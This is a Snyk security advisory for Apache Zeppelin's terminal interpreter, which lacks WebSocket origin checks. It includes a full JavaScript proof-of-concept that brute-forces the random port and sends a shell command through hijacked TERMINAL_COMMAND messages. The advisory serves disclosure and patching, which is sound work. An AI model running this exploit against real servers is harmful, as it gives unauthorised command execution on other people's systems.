Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade org.apache.zeppelin:zeppelin-shell
to version 0.12.0 or higher.
Affected versions of this package are vulnerable to Missing Origin Validation in WebSockets. When using a terminal interpreter (i.e. %sh.terminal
) in an Apache Zeppelin notebook, a WebSocket server is spawned on a random port. This server does not implement an origin check and as such is vulnerable to cross-site WebSocket hijacking, which allows information exposure that could then be used to achieve command injection if a malicious WebSocket client is able to connect to the server and send arbitrary commands to the shell. The only thing preventing a client from connecting to the WebSocket server is the use of a random port. This should not be relied upon as the only mechanism to prevent unauthorized clients from connecting and sending arbitrary commands to the server, and may be brute-forced.
Server
$ python3 -m http.server 8888
Client
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Websocket Client</title> </head> <body> <h1>Websocket Client</h1> <div id="out"></div> <script> let outputDiv = document.getElementById('out');
let ip = '192.168.178.64'; /*
- Experiments creating a ServerSocket 100000 times with:
- ServerSocket socket = new ServerSocket(0)
- resulted in a max port range of ~50000 - 65535 */ let ports = [50000, 65535] // Set a specific port to disable bruteforce let port = null; let portRange = port ? [port, port] : ports; let timeout = 150; let socket = null; let cmd = false;
function init() { let port = portRange[0]; let offset = 0; while (!socket && !cmd && port <= portRange[1]) { setTimeout(wrapper, offset, port, offset) offset += timeout; port++; } }
function wrapper(port, offset) { makeWsClient(ip, port, timeout, offset).then((s) => { socket = s; socket.onmessage = function (event) { if (event.data) { log(
[poc] Got message from server: ${event.data}
); } if (!cmd) { socket.send(JSON.stringify({ type: 'TERMINAL_COMMAND', command: 'id\n', })); cmd = true; } }; socket.send(JSON.stringify({ type: 'TERMINAL_READY', noteId: 'XXX', paragraphId: 'YYY' })); }); }function makeWsClient(ip, port, timeout, offset) { let wsHost =
ws://${ip}:${port}/terminal/
;return new Promise((resolve, reject) => { let socket = new WebSocket(wsHost); let total = portRange[1] - portRange[0]; let index = total - (portRange[1] - port); console.log(`[${index + 1}/${total} - ${((index / total) * 100).toFixed(2)}% - ${Date.now()}] Trying port: ${port}`) let tid = null; socket.onopen = function(event) { log(`[open] Connection established with host: ${wsHost}`); clearTimeout(tid); resolve(socket) }; socket.onclose = function () { reject(); }; socket.onerror = function () { reject(); }; tid = setTimeout(function () { socket.close(); reject(); }, timeout + offset); });
}
function log(msg, err = false, data = {}) { if (!err) { console.log(msg, data); } else { console.error(msg, data); } if (outputDiv) { outputDiv.innerText += msg + "\n"; } }
setTimeout(init, 500); </script> </body> </html>
When the script successfully connects to the WebSocket server on the random port, the terminal is initialised with a TERMINAL_READY
message containing dummy values for noteId
and paragraphId
parameters. These are not validated by the server so do not need to refer to actual note or paragraph identifiers. To send arbitrary commands, it is possible to craft a TERMINAL_COMMAND
message with the arbitrary command followed by a newline character, as shown in the script above.